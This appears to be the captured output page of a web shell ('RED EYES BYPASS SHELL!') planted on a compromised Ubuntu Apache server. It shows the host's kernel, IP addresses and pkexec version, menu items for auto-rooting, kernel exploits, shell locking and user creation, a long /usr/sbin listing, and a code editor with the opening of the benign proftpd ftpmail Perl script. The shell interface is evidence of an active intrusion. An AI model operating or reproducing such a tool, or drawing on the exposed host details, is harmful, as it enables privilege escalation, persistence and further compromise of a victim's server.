Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
ModemManager
2.09
MB
-rwxr-xr-x
a2disconf
15.89
KB
-rwxr-xr-x
a2dismod
15.89
KB
-rwxr-xr-x
a2dissite
15.89
KB
-rwxr-xr-x
a2enconf
15.89
KB
-rwxr-xr-x
a2enmod
15.89
KB
-rwxr-xr-x
a2ensite
15.89
KB
-rwxr-xr-x
a2query
9.64
KB
-rwxr-xr-x
aa-remove-unknown
3
KB
-rwxr-xr-x
aa-status
62.62
KB
-rwxr-xr-x
aa-teardown
137
B
-rwxr-xr-x
accessdb
14.55
KB
-rwxr-xr-x
add-shell
1.03
KB
-rwxr-xr-x
addgnupghome
3
KB
-rwxr-xr-x
addgroup
37.35
KB
-rwxr-xr-x
adduser
37.35
KB
-rwxr-xr-x
agetty
55.56
KB
-rwxr-xr-x
apache2
740.89
KB
-rwxr-xr-x
apache2ctl
7.06
KB
-rwxr-xr-x
apachectl
7.06
KB
-rwxr-xr-x
apparmor_parser
1.48
MB
-rwxr-xr-x
apparmor_status
62.62
KB
-rwxr-xr-x
applygnupgdefaults
2.17
KB
-rwxr-xr-x
arp
61.61
KB
-rwxr-xr-x
arpd
26.33
KB
-rwxr-xr-x
arptables
219.04
KB
-rwxr-xr-x
arptables-nft
219.04
KB
-rwxr-xr-x
arptables-nft-restore
219.04
KB
-rwxr-xr-x
arptables-nft-save
219.04
KB
-rwxr-xr-x
arptables-restore
219.04
KB
-rwxr-xr-x
arptables-save
219.04
KB
-rwxr-xr-x
auth-otp
18.54
KB
-rwxr-xr-x
badblocks
34.32
KB
-rwxr-xr-x
bcache-super-show
14.3
KB
-rwxr-xr-x
biosdecode
23.2
KB
-rwxr-xr-x
blkdeactivate
15.97
KB
-rwxr-xr-x
blkdiscard
22.38
KB
-rwxr-xr-x
blkid
50.41
KB
-rwxr-xr-x
blkzone
34.38
KB
-rwxr-xr-x
blockdev
30.38
KB
-rwxr-xr-x
bridge
92.49
KB
-rwxr-xr-x
cache_check
1.33
MB
-rwxr-xr-x
cache_dump
1.33
MB
-rwxr-xr-x
cache_metadata_size
1.33
MB
-rwxr-xr-x
cache_repair
1.33
MB
-rwxr-xr-x
cache_restore
1.33
MB
-rwxr-xr-x
cache_writeback
1.33
MB
-rwxr-xr-x
capsh
30.3
KB
-rwxr-xr-x
cfdisk
94.73
KB
-rwxr-xr-x
cgdisk
150.48
KB
-rwxr-xr-x
chcpu
30.38
KB
-rwxr-xr-x
check_forensic
952
B
-rwxr-xr-x
chgpasswd
58.13
KB
-rwxr-xr-x
chmem
34.38
KB
-rwxr-xr-x
chpasswd
54.16
KB
-rwxr-xr-x
chroot
38.51
KB
-rwxr-xr-x
convertquota
66.88
KB
-rwxr-xr-x
cpgr
48.29
KB
-rwxr-xr-x
cppw
48.29
KB
-rwxr-xr-x
cron
50.58
KB
-rwxr-xr-x
cryptdisks_start
1.51
KB
-rwxr-xr-x
cryptdisks_stop
844
B
-rwxr-xr-x
cryptsetup
169.55
KB
-rwxr-xr-x
cryptsetup-reencrypt
90.38
KB
-rwxr-xr-x
cryptsetup-ssh
23.53
KB
-rwxr-xr-x
ctrlaltdel
14.38
KB
-rwxr-xr-x
dbconfig-generate-include
12.36
KB
-rwxr-xr-x
dbconfig-load-include
5.57
KB
-rwxr-xr-x
dcb
80.52
KB
-rwxr-xr-x
debugfs
229.8
KB
-rwxr-xr-x
delgroup
16.11
KB
-rwxr-xr-x
deluser
16.11
KB
-rwxr-xr-x
depmod
166.36
KB
-rwxr-xr-x
devlink
142.86
KB
-rwxr-xr-x
dhclient
442.66
KB
-rwxr-xr-x
dhclient-script
15.92
KB
-rwxr-xr-x
dmeventd
50.38
KB
-rwxr-xr-x
dmidecode
122.98
KB
-rwxr-xr-x
dmsetup
171.02
KB
-rwxr-xr-x
dmstats
171.02
KB
-rwxr-xr-x
dosfsck
82.38
KB
-rwxr-xr-x
dosfslabel
38.38
KB
-rwxr-xr-x
dpkg-preconfigure
3.58
KB
-rwxr-xr-x
dpkg-reconfigure
4.38
KB
-rwxr-xr-x
dumpe2fs
30.31
KB
-rwxr-xr-x
e2freefrag
14.3
KB
-rwxr-xr-x
e2fsck
351.84
KB
-rwxr-xr-x
e2image
42.31
KB
-rwxr-xr-x
e2label
102.55
KB
-rwxr-xr-x
e2mmpstatus
30.31
KB
-rwxr-xr-x
e2scrub
7.13
KB
-rwxr-xr-x
e2scrub_all
5.27
KB
-rwxr-xr-x
e2undo
22.3
KB
-rwxr-xr-x
e4crypt
30.38
KB
-rwxr-xr-x
e4defrag
30.3
KB
-rwxr-xr-x
ebtables
219.04
KB
-rwxr-xr-x
ebtables-nft
219.04
KB
-rwxr-xr-x
ebtables-nft-restore
219.04
KB
-rwxr-xr-x
ebtables-nft-save
219.04
KB
-rwxr-xr-x
ebtables-restore
219.04
KB
-rwxr-xr-x
ebtables-save
219.04
KB
-rwxr-xr-x
edquota
83.31
KB
-rwxr-xr-x
era_check
1.33
MB
-rwxr-xr-x
era_dump
1.33
MB
-rwxr-xr-x
era_invalidate
1.33
MB
-rwxr-xr-x
era_restore
1.33
MB
-rwxr-xr-x
ethtool
551.48
KB
-rwxr-xr-x
faillock
14.15
KB
-rwxr-xr-x
fatlabel
38.38
KB
-rwxr-xr-x
fdisk
110.42
KB
-rwxr-xr-x
filefrag
18.32
KB
-rwxr-xr-x
findfs
14.38
KB
-rwxr-xr-x
fixparts
58.48
KB
-rwxr-xr-x
fsadm
23.94
KB
-rwxr-xr-x
fsck
42.42
KB
-rwxr-xr-x
fsck.btrfs
1.16
KB
-rwxr-xr-x
fsck.cramfs
30.44
KB
-rwxr-xr-x
fsck.ext2
351.84
KB
-rwxr-xr-x
fsck.ext3
351.84
KB
-rwxr-xr-x
fsck.ext4
351.84
KB
-rwxr-xr-x
fsck.fat
82.38
KB
-rwxr-xr-x
fsck.minix
54.41
KB
-rwxr-xr-x
fsck.msdos
82.38
KB
-rwxr-xr-x
fsck.vfat
82.38
KB
-rwxr-xr-x
fsck.xfs
1.89
KB
-rwxr-xr-x
fsfreeze
14.38
KB
-rwxr-xr-x
fstab-decode
18.3
KB
-rwxr-xr-x
fstrim
42.38
KB
-rwxr-xr-x
ftpasswd
37.11
KB
-rwxr-xr-x
ftpmail
13.63
KB
-rwxr-xr-x
ftpquota
32.2
KB
-rwxr-xr-x
ftpscrub
23.66
KB
-rwxr-xr-x
ftpshut
14.3
KB
-rwxr-xr-x
ftpstats
12.16
KB
-rwxr-xr-x
gdisk
174.48
KB
-rwxr-xr-x
genl
90.44
KB
-rwxr-xr-x
getcap
14.3
KB
-rwxr-xr-x
getpcaps
14.3
KB
-rwxr-xr-x
getty
55.56
KB
-rwxr-xr-x
groupadd
66.91
KB
-rwxr-xr-x
groupdel
62.73
KB
-rwxr-xr-x
groupmems
54.19
KB
-rwxr-xr-x
groupmod
66.82
KB
-rwxr-xr-x
grpck
58.13
KB
-rwxr-xr-x
grpconv
50.01
KB
-rwxr-xr-x
grpunconv
50.01
KB
-rwxr-xr-x
grub-install
1.15
MB
-rwxr-xr-x
grub-macbless
929.11
KB
-rwxr-xr-x
grub-mkconfig
8.6
KB
-rwxr-xr-x
grub-mkdevicemap
215.7
KB
-rwxr-xr-x
grub-probe
941.36
KB
-rwxr-xr-x
grub-reboot
4.73
KB
-rwxr-xr-x
grub-set-default
3.47
KB
-rwxr-xr-x
halt
1.06
MB
-rwxr-xr-x
hdparm
139.43
KB
-rwxr-xr-x
httxt2dbm
14.3
KB
-rwxr-xr-x
hwclock
50.5
KB
-rwxr-xr-x
iconvconfig
30.4
KB
-rwxr-xr-x
ifconfig
77.17
KB
-rwxr-xr-x
in.proftpd
1.17
MB
-rwxr-xr-x
init
1.76
MB
-rwxr-xr-x
insmod
166.36
KB
-rwxr-xr-x
installkernel
2.6
KB
-rwxr-xr-x
integritysetup
54.07
KB
-rwxr-xr-x
invoke-rc.d
16.12
KB
-rwxr-xr-x
ip
702.05
KB
-rwxr-xr-x
ip6tables
219.04
KB
-rwxr-xr-x
ip6tables-apply
6.89
KB
-rwxr-xr-x
ip6tables-legacy
96.95
KB
-rwxr-xr-x
ip6tables-legacy-restore
96.95
KB
-rwxr-xr-x
ip6tables-legacy-save
96.95
KB
-rwxr-xr-x
ip6tables-nft
219.04
KB
-rwxr-xr-x
ip6tables-nft-restore
219.04
KB
-rwxr-xr-x
ip6tables-nft-save
219.04
KB
-rwxr-xr-x
ip6tables-restore
219.04
KB
-rwxr-xr-x
ip6tables-restore-translate
219.04
KB
-rwxr-xr-x
ip6tables-save
219.04
KB
-rwxr-xr-x
ip6tables-translate
219.04
KB
-rwxr-xr-x
ipmaddr
18.3
KB
-rwxr-xr-x
iptables
219.04
KB
-rwxr-xr-x
iptables-apply
6.89
KB
-rwxr-xr-x
iptables-legacy
96.95
KB
-rwxr-xr-x
iptables-legacy-restore
96.95
KB
-rwxr-xr-x
iptables-legacy-save
96.95
KB
-rwxr-xr-x
iptables-nft
219.04
KB
-rwxr-xr-x
iptables-nft-restore
219.04
KB
-rwxr-xr-x
iptables-nft-save
219.04
KB
-rwxr-xr-x
iptables-restore
219.04
KB
-rwxr-xr-x
iptables-restore-translate
219.04
KB
-rwxr-xr-x
iptables-save
219.04
KB
-rwxr-xr-x
iptables-translate
219.04
KB
-rwxr-xr-x
iptunnel
18.3
KB
-rwxr-xr-x
irqbalance
66.86
KB
-rwxr-xr-x
irqbalance-ui
34.38
KB
-rwxr-xr-x
iscsi-iname
14.3
KB
-rwxr-xr-x
iscsi_discovery
5.17
KB
-rwxr-xr-x
iscsiadm
398.46
KB
-rwxr-xr-x
iscsid
298.55
KB
-rwxr-xr-x
iscsistart
278.56
KB
-rwxr-xr-x
isosize
14.38
KB
-rwxr-xr-x
iucode-tool
58.34
KB
-rwxr-xr-x
iucode_tool
58.34
KB
-rwxr-xr-x
kbdrate
18.16
KB
-rwxr-xr-x
killall5
30.38
KB
-rwxr-xr-x
kpartx
46.16
KB
-rwxr-xr-x
ldattach
26.38
KB
-rwxr-xr-x
ldconfig
387
B
-rwxr-xr-x
ldconfig.real
1.16
MB
-rwxr-xr-x
locale-gen
4.29
KB
-rwxr-xr-x
logrotate
102.24
KB
-rwxr-xr-x
logsave
14.16
KB
-rwxr-xr-x
losetup
70.52
KB
-rwxr-xr-x
lsmod
166.36
KB
-rwxr-xr-x
luksformat
3.32
KB
-rwxr-xr-x
lvchange
2.89
MB
-rwxr-xr-x
lvconvert
2.89
MB
-rwxr-xr-x
lvcreate
2.89
MB
-rwxr-xr-x
lvdisplay
2.89
MB
-rwxr-xr-x
lvextend
2.89
MB
-rwxr-xr-x
lvm
2.89
MB
-rwxr-xr-x
lvmconfig
2.89
MB
-rwxr-xr-x
lvmdiskscan
2.89
MB
-rwxr-xr-x
lvmdump
10.07
KB
-rwxr-xr-x
lvmpolld
236.2
KB
-rwxr-xr-x
lvmsadc
2.89
MB
-rwxr-xr-x
lvmsar
2.89
MB
-rwxr-xr-x
lvreduce
2.89
MB
-rwxr-xr-x
lvremove
2.89
MB
-rwxr-xr-x
lvrename
2.89
MB
-rwxr-xr-x
lvresize
2.89
MB
-rwxr-xr-x
lvs
2.89
MB
-rwxr-xr-x
lvscan
2.89
MB
-rwxr-xr-x
make-bcache
22.38
KB
-rwxr-xr-x
make-ssl-cert
6.65
KB
-rwxr-xr-x
mdadm
601.31
KB
-rwxr-xr-x
mdmon
258.44
KB
-rwxr-xr-x
mii-tool
26.73
KB
-rwxr-xr-x
mkdosfs
50.83
KB
-rwxr-xr-x
mke2fs
130.62
KB
-rwxr-xr-x
mkfs
14.38
KB
-rwxr-xr-x
mkfs.bfs
22.38
KB
-rwxr-xr-x
mkfs.btrfs
471.25
KB
-rwxr-xr-x
mkfs.cramfs
34.32
KB
-rwxr-xr-x
mkfs.ext2
130.62
KB
-rwxr-xr-x
mkfs.ext3
130.62
KB
-rwxr-xr-x
mkfs.ext4
130.62
KB
-rwxr-xr-x
mkfs.fat
50.83
KB
-rwxr-xr-x
mkfs.minix
42.39
KB
-rwxr-xr-x
mkfs.msdos
50.83
KB
-rwxr-xr-x
mkfs.ntfs
70.38
KB
-rwxr-xr-x
mkfs.vfat
50.83
KB
-rwxr-xr-x
mkfs.xfs
382.77
KB
-rwxr-xr-x
mkhomedir_helper
22.17
KB
-rwxr-xr-x
mkinitramfs
12.16
KB
-rwxr-xr-x
mklost+found
14.3
KB
-rwxr-xr-x
mkntfs
70.38
KB
-rwxr-xr-x
mkswap
46.38
KB
-rwxr-xr-x
modinfo
166.36
KB
-rwxr-xr-x
modprobe
166.36
KB
-rwxr-xr-x
mount.fuse
18.3
KB
-rwxr-xr-x
mount.fuse3
18.3
KB
-rwxr-xr-x
mount.lowntfs-3g
114.98
KB
-rwxr-xr-x
mount.ntfs
159.01
KB
-rwxr-xr-x
mount.ntfs-3g
159.01
KB
-rwxr-xr-x
mpathpersist
31.05
KB
-rwxr-xr-x
multipath
34.15
KB
-rwxr-xr-x
multipathd
134.26
KB
-rwxr-xr-x
mysqld
53.02
MB
-rwxr-xr-x
nameif
14.48
KB
-rwxr-xr-x
needrestart
38.73
KB
-rwxr-xr-x
netplan
798
B
-rwxr-xr-x
newusers
74.73
KB
-rwxr-xr-x
nfnl_osf
18.3
KB
-rwxr-xr-x
nft
26.23
KB
-rwxr-xr-x
nologin
14.3
KB
-rwxr-xr-x
ntfsclone
50.38
KB
-rwxr-xr-x
ntfscp
34.38
KB
-rwxr-xr-x
ntfslabel
22.38
KB
-rwxr-xr-x
ntfsresize
62.39
KB
-rwxr-xr-x
ntfsundelete
50.38
KB
-rwxr-xr-x
on_ac_power
3.7
KB
-rwxr-xr-x
overlayroot-chroot
2.45
KB
-rwxr-xr-x
ownership
14.45
KB
-rwxr-xr-x
pam-auth-update
20.5
KB
-rwxr-xr-x
pam_extrausers_chkpwd
22.15
KB
-rwxr-sr-x
pam_extrausers_update
30.15
KB
-rwxr-xr-x
pam_getenv
2.82
KB
-rwxr-xr-x
pam_timestamp_check
14.15
KB
-rwxr-xr-x
parted
86.4
KB
-rwxr-xr-x
partprobe
14.38
KB
-rwxr-xr-x
pdata_tools
1.33
MB
-rwxr-xr-x
phpdismod
7.11
KB
-rwxr-xr-x
phpenmod
7.11
KB
-rwxr-xr-x
phpquery
6.24
KB
-rwxr-xr-x
pivot_root
14.38
KB
-rwxr-xr-x
plipconfig
14.3
KB
-rwxr-xr-x
plymouthd
150.55
KB
-rwxr-xr-x
poweroff
1.06
MB
-rwxr-xr-x
proftpd
1.17
MB
-rwxr-xr-x
proftpd-gencert
1.64
KB
-rwxr-xr-x
pvchange
2.89
MB
-rwxr-xr-x
pvck
2.89
MB
-rwxr-xr-x
pvcreate
2.89
MB
-rwxr-xr-x
pvdisplay
2.89
MB
-rwxr-xr-x
pvmove
2.89
MB
-rwxr-xr-x
pvremove
2.89
MB
-rwxr-xr-x
pvresize
2.89
MB
-rwxr-xr-x
pvs
2.89
MB
-rwxr-xr-x
pvscan
2.89
MB
-rwxr-xr-x
pwck
50.13
KB
-rwxr-xr-x
pwconv
46.01
KB
-rwxr-xr-x
pwunconv
42.01
KB
-rwxr-xr-x
quota_nld
26.41
KB
-rwxr-xr-x
quotacheck
91.34
KB
-rwxr-xr-x
quotaoff
54.78
KB
-rwxr-xr-x
quotaon
54.78
KB
-rwxr-xr-x
quotastats
14.15
KB
-rwxr-xr-x
rarp
32.33
KB
-rwxr-xr-x
readprofile
22.41
KB
-rwxr-xr-x
reboot
1.06
MB
-rwxr-xr-x
remove-shell
1.07
KB
-rwxr-xr-x
repquota
71.41
KB
-rwxr-xr-x
resize2fs
66.3
KB
-rwxr-xr-x
rmmod
166.36
KB
-rwxr-xr-x
rmt
58.57
KB
-rwxr-xr-x
rmt-tar
58.57
KB
-rwxr-xr-x
route
64.27
KB
-rwxr-xr-x
rpc.rquotad
75.18
KB
-rwxr-xr-x
rsyslogd
767.19
KB
-rwxr-xr-x
rtacct
28.31
KB
-rwxr-xr-x
rtcwake
34.38
KB
-rwxr-xr-x
rtmon
90.39
KB
-rwxr-xr-x
runlevel
1.06
MB
-rwxr-xr-x
runuser
54.38
KB
-rwxr-xr-x
service
8.88
KB
-rwxr-xr-x
setcap
14.3
KB
-rwxr-xr-x
setquota
79.38
KB
-rwxr-xr-x
setvesablank
14.23
KB
-rwxr-xr-x
setvtrgb
14.29
KB
-rwxr-xr-x
sfdisk
102.38
KB
-rwxr-xr-x
sgdisk
162.48
KB
-rwxr-xr-x
shadowconfig
885
B
-rwxr-xr-x
shutdown
1.06
MB
-rwxr-xr-x
slattach
36.08
KB
-rwxr-xr-x
split-logfile
2.36
KB
-rwxr-xr-x
sshd
899.7
KB
-rwxr-xr-x
start-stop-daemon
47.35
KB
-rwxr-xr-x
sudo_logsrvd
200.1
KB
-rwxr-xr-x
sudo_sendlog
107.34
KB
-rwxr-xr-x
sulogin
42.38
KB
-rwxr-xr-x
swaplabel
18.38
KB
-rwxr-xr-x
swapoff
22.38
KB
-rwxr-xr-x
swapon
42.38
KB
-rwxr-xr-x
switch_root
22.38
KB
-rwxr-xr-x
sysctl
30.23
KB
-rwxr-xr-x
tarcat
936
B
-rwxr-xr-x
tc
614.08
KB
-rwxr-xr-x
telinit
1.06
MB
-rwxr-xr-x
thermald
554.6
KB
-rwxr-xr-x
thin_check
1.33
MB
-rwxr-xr-x
thin_delta
1.33
MB
-rwxr-xr-x
thin_dump
1.33
MB
-rwxr-xr-x
thin_ls
1.33
MB
-rwxr-xr-x
thin_metadata_size
1.33
MB
-rwxr-xr-x
thin_repair
1.33
MB
-rwxr-xr-x
thin_restore
1.33
MB
-rwxr-xr-x
thin_rmap
1.33
MB
-rwxr-xr-x
thin_trim
1.33
MB
-rwxr-xr-x
tipc
90.44
KB
-rwxr-xr-x
tune2fs
102.55
KB
-rwxr-xr-x
tzconfig
106
B
-rwxr-xr-x
u-d-c-print-pci-ids
517
B
-rwxr-xr-x
ufw
4.82
KB
-rwxr-xr-x
umount.udisks2
14.3
KB
-rwxr-xr-x
unix_chkpwd
26.15
KB
-rwxr-sr-x
unix_update
30.15
KB
-rwxr-xr-x
update-ca-certificates
5.29
KB
-rwxr-xr-x
update-grub
64
B
-rwxr-xr-x
update-grub2
64
B
-rwxr-xr-x
update-info-dir
1.66
KB
-rwxr-xr-x
update-initramfs
6.74
KB
-rwxr-xr-x
update-locale
2.99
KB
-rwxr-xr-x
update-mime
9.39
KB
-rwxr-xr-x
update-passwd
34.56
KB
-rwxr-xr-x
update-pciids
1.71
KB
-rwxr-xr-x
update-rc.d
16.92
KB
-rwxr-xr-x
update-secureboot-policy
7.43
KB
-rwxr-xr-x
update-shells
3.72
KB
-rwxr-xr-x
usb_modeswitch
59.66
KB
-rwxr-xr-x
usb_modeswitch_dispatcher
26.78
KB
-rwxr-xr-x
usbmuxd
86.6
KB
-rwxr-xr-x
useradd
127.66
KB
-rwxr-xr-x
userdel
86.85
KB
-rwxr-xr-x
usermod
123.46
KB
-rwxr-xr-x
uuidd
30.85
KB
-rwxr-xr-x
validlocale
1.73
KB
-rwxr-xr-x
vcstime
14.15
KB
-rwxr-xr-x
vdpa
30.56
KB
-rwxr-xr-x
veritysetup
43.76
KB
-rwxr-xr-x
vgcfgbackup
2.89
MB
-rwxr-xr-x
vgcfgrestore
2.89
MB
-rwxr-xr-x
vgchange
2.89
MB
-rwxr-xr-x
vgck
2.89
MB
-rwxr-xr-x
vgconvert
2.89
MB
-rwxr-xr-x
vgcreate
2.89
MB
-rwxr-xr-x
vgdisplay
2.89
MB
-rwxr-xr-x
vgexport
2.89
MB
-rwxr-xr-x
vgextend
2.89
MB
-rwxr-xr-x
vgimport
2.89
MB
-rwxr-xr-x
vgimportclone
2.89
MB
-rwxr-xr-x
vgmerge
2.89
MB
-rwxr-xr-x
vgmknodes
2.89
MB
-rwxr-xr-x
vgreduce
2.89
MB
-rwxr-xr-x
vgremove
2.89
MB
-rwxr-xr-x
vgrename
2.89
MB
-rwxr-xr-x
vgs
2.89
MB
-rwxr-xr-x
vgscan
2.89
MB
-rwxr-xr-x
vgsplit
2.89
MB
-rwxr-xr-x
vigr
56.53
KB
-rwxr-xr-x
vipw
56.53
KB
-rwxr-xr-x
visudo
219.79
KB
-rwxr-xr-x
vpddecode
14.58
KB
-rwxr-xr-x
warnquota
87.3
KB
-rwxr-xr-x
wipefs
38.38
KB
-rwxr-xr-x
xfs_admin
1.37
KB
-rwxr-xr-x
xfs_bmap
695
B
-rwxr-xr-x
xfs_copy
82.48
KB
-rwxr-xr-x
xfs_db
652.44
KB
-rwxr-xr-x
xfs_estimate
14.16
KB
-rwxr-xr-x
xfs_freeze
800
B
-rwxr-xr-x
xfs_fsr
42.18
KB
-rwxr-xr-x
xfs_growfs
38.28
KB
-rwxr-xr-x
xfs_info
1.26
KB
-rwxr-xr-x
xfs_io
199.55
KB
-rwxr-xr-x
xfs_logprint
78.33
KB
-rwxr-xr-x
xfs_mdrestore
26.17
KB
-rwxr-xr-x
xfs_metadump
782
B
-rwxr-xr-x
xfs_mkfile
1.02
KB
-rwxr-xr-x
xfs_ncheck
685
B
-rwxr-xr-x
xfs_quota
90.16
KB
-rwxr-xr-x
xfs_repair
599.38
KB
-rwxr-xr-x
xfs_rtcp
18.15
KB
-rwxr-xr-x
xfs_scrub
106.27
KB
-rwxr-xr-x
xfs_scrub_all
5.87
KB
-rwxr-xr-x
xfs_spaceman
42.3
KB
-rwxr-xr-x
xqmstats
14.15
KB
-rwxr-xr-x
xtables-legacy-multi
96.95
KB
-rwxr-xr-x
xtables-monitor
219.04
KB
-rwxr-xr-x
xtables-nft-multi
219.04
KB
-rwxr-xr-x
zerofree
14.15
KB
-rwxr-xr-x
zic
62.32
KB
-rwxr-xr-x
zramctl
54.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ftpmail
#!/usr/bin/perl # --------------------------------------------------------------------------- # Copyright (C) 2008-2017 TJ Saunders <tj@castaglia.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA. # --------------------------------------------------------------------------- use strict; use File::Basename qw(basename); use Getopt::Long; use Mail::Sendmail; use MIME::Base64 qw(encode_base64); use Time::HiRes qw(usleep); my $program = basename($0); my $opts = {}; GetOptions($opts, 'attach-file', 'fifo=s', 'from=s', 'help', 'ignore-users=s', 'log=s', 'recipient=s@', 'upload-recipient=s@', 'download-recipient=s@', 'sleep=s', 'smtp-server=s', 'subject=s', 'watch-users=s', 'auth=s'); if ($opts->{help}) { usage(); exit 0; } unless ($opts->{fifo}) { print STDERR "$program: missing required --fifo parameter\n"; exit 1; } my $fifo = $opts->{fifo}; unless ($opts->{from}) { print STDERR "$program: missing required --from parameter\n"; exit 1; } my $from = $opts->{from}; unless ($opts->{recipient} || $opts->{'upload-recipient'}) { print STDERR "$program: missing required --recipient (or --upload-recipient) parameter\n"; exit 1; } my $upload_recipients = $opts->{recipient}; # The --upload-recipient list takes precedence over the (deprecated) # --recipient list. if (defined($opts->{'upload-recipient'})) { $upload_recipients = $opts->{'upload-recipient'}; } my $download_recipients = undef; if (defined($opts->{'download-recipient'})) { $download_recipients = $opts->{'download-recipient'}; } unless ($opts->{'smtp-server'}) { print STDERR "$program: missing required --smtp-server parameter\n"; exit 1; } my $smtp_server = $opts->{'smtp-server'}; my $smtp_auth; if ($opts->{'auth'}) { eval { $smtp_auth = get_auth_info($opts->{'auth'}) }; if ($@) { my $ex = $@; print STDERR "$program: unable to obtain SMTP auth info: $ex\n"; exit 1; } } my $delay = 0.5; if ($opts->{sleep}) { $delay = $opts->{sleep}; } my $fifoh; if (open($fifoh, "< $fifo")) { while (1) { my $line = <$fifoh>; if ($line) { chomp($line); if ($line =~ /^(\S+\s+\S+\s+\d+\s+\d+:\d+:\d+\s+\d+)\s+(\d+)\s+(.*?)\s+(\d+)\s+(.*?)\s+(\S+)\s+(\S+)\s+(\S+)\s+(\S+)\s+(.*?)\s+.*?(\S+)$/o) { my $curr_time = $1; my $xfer_nsecs = $2; my $client = $3; my $nbytes = $4; # Note that any spaces or control characters will be replaced in this # path with underscores. This can make finding the actual file, as for # attachments, rather difficult; we have to test to find the difference # between a real underscore in the name, and a substituted underscore. my $path = $5; unless (-e $path) { # Perform a quick-and-dirty check, on the assumption that all of the # underscores in the given path are actually spaces. If a # combination of underscores and spaces appears in the real file, # we won't detect that here. my $alt_path = $path; $alt_path =~ s/_/ /g; if (-e $alt_path) { $path = $alt_path; } } my $xfer_type = $6; my $action_flag = $7; my $xfer_direction = $8; my $access_mode = $9; my $user_name = $10; my $completion_status = $11; my $send_email = 0; if ($xfer_direction eq 'i') { $send_email = 1; } if (defined($download_recipients)) { # If we have a list of download email recipients, it means we should # send emails for downloads, too. if ($xfer_direction eq 'o') { $send_email = 1; } } if ($send_email) { # First, check for any specific --watch-users filter. If configured, # and if the user name does NOT match the --watch-users filter, then # don't send email. Otherwise, check for an --ignore-users filter, # and see if the user matches that ignore filter. if ($opts->{'watch-users'}) { if ($user_name !~ /$opts->{'watch-users'}/) { $send_email = 0; } } elsif ($opts->{'ignore-users'}) { if ($user_name =~ /$opts->{'ignore-users'}/) { $send_email = 0; } } } if ($send_email) { send_email({ timestamp => $curr_time, duration => $xfer_nsecs, client => $client, size => $nbytes, file => $path, transfer_type => $xfer_type, auth_mode => $access_mode, user => $user_name, status => $completion_status, direction => $xfer_direction, }); } } if ($opts->{log}) { # Note: since this opens, writes, then closes the log file for every # write, it will interact with log rotation scripts MUCH better than # proftpd by itself. Just one of the small benefits. my $log_file = $opts->{log}; my $logfh; if (open($logfh, ">> $log_file")) { print $logfh "$line\n"; unless (close($logfh)) { print STDERR "$program: error writing to log file '$log_file': $!\n"; } } else { print STDERR "$program: error opening log file '$log_file': $!\n"; } } } else { # No input at this time. Sleep for half a second (or less) and check # again. usleep($delay * 1000000); } } close($fifoh); } else { die "$program: unable to read FIFO '$fifo': $!\n"; } sub get_auth_info { my $path = shift; my $info = {}; if (open(my $fh, "< $path")) { while (my $line = <$fh>) { chomp($line); # Skip comments and blank lines if ($line =~ /^(\s+)?#/) { next; } if ($line =~ /^\s+$/) { next; } if ($line =~ /^(\s+)?(\S+)(\s+)?=(\s+)?(.*)$/) { my $key = $2; my $val = $5; # Trim off comments after the value, if any $val =~ s/(\s*#.*)?$//; # Ignore any keys other than 'user' and 'password'. if (lc($key) eq 'user') { $info->{'user'} = $val; } elsif (lc($key) eq 'password' || lc($key) eq 'pass') { $info->{'password'} = $val; } } } close($fh); } else { die("Can't read '$path': $!\n"); } # Make sure that we have the required values my $reqs = [qw(user password)]; foreach my $req (@$reqs) { unless (exists($info->{$req})) { die("Missing required '$req' value\n"); } } return $info; } sub send_email { my $transfer_info = shift; my $file = $transfer_info->{file}; my $file_str = basename($file); my $transferred = 'uploaded'; if ($transfer_info->{direction} eq 'o') { $transferred = 'downloaded'; } my $subject = "User '$transfer_info->{user}' $transferred file '$file_str' via FTP"; if ($opts->{subject}) { $subject = $opts->{subject}; } my $bytes_str = "bytes"; if ($transfer_info->{size} == 1) { $bytes_str = "byte"; } my $status = "Completed"; if ($transfer_info->{status} eq 'i') { $status = "Incomplete"; } my $secs_str = "secs"; if ($transfer_info->{duration} == 1) { $secs_str = "sec"; } my $type_str = "Binary"; if ($transfer_info->{transfer_type} eq 'a') { $type_str = "ASCII"; } my $attached = ""; if ($opts->{'attach-file'} && -e $file) { $attached = "(attached)"; } my $text = <<EOT; File just $transferred via FTP: User: $transfer_info->{user} Client: $transfer_info->{client} File: $file $attached Size: $transfer_info->{size} $bytes_str At: $transfer_info->{timestamp} Duration: $transfer_info->{duration} $secs_str Status: $status Transfer type: $type_str Cheers, --$program EOT my $email_info = { smtp => $smtp_server, From => $from, Subject => $subject, }; if ($transfer_info->{direction} eq 'i') { $email_info->{To} = join(', ', @$upload_recipients); } elsif ($transfer_info->{direction} eq 'o') { $email_info->{To} = join(', ', @$download_recipients); } if ($opts->{'auth'}) { $email_info->{'auth'} = $smtp_auth; } if ($opts->{'attach-file'}) { if (-e $file) { $email_info->{'MIME-Version'} = '1.0'; my $boundary = '====' . time() . '===='; $email_info->{'Content-Type'} = "multipart/mixed; boundary=\"$boundary\""; $boundary = '--' . $boundary; $email_info->{Body} .= "$boundary\n"; $email_info->{Body} .= "Content-Type: text/plain; charset=\"iso-8859-1\"\n"; $email_info->{Body} .= "Content-Transfer-Encoding: quoted-printable\n\n"; $email_info->{Body} .= "$text\n"; if (open(my $fh, "< $file")) { binmode($fh); # Note: this reads the entire file into memory, and can fail if # the file is too big. local $/; my $attach; while (my $data = <$fh>) { $attach .= $data; } close($fh); $email_info->{Body} .= "$boundary\n"; $email_info->{Body} .= "Content-Disposition: attachment; filename=\"$file\"\n"; if ($transfer_info->{transfer_type} eq 'a') { $email_info->{Body} .= "Content-Type: text/plain; 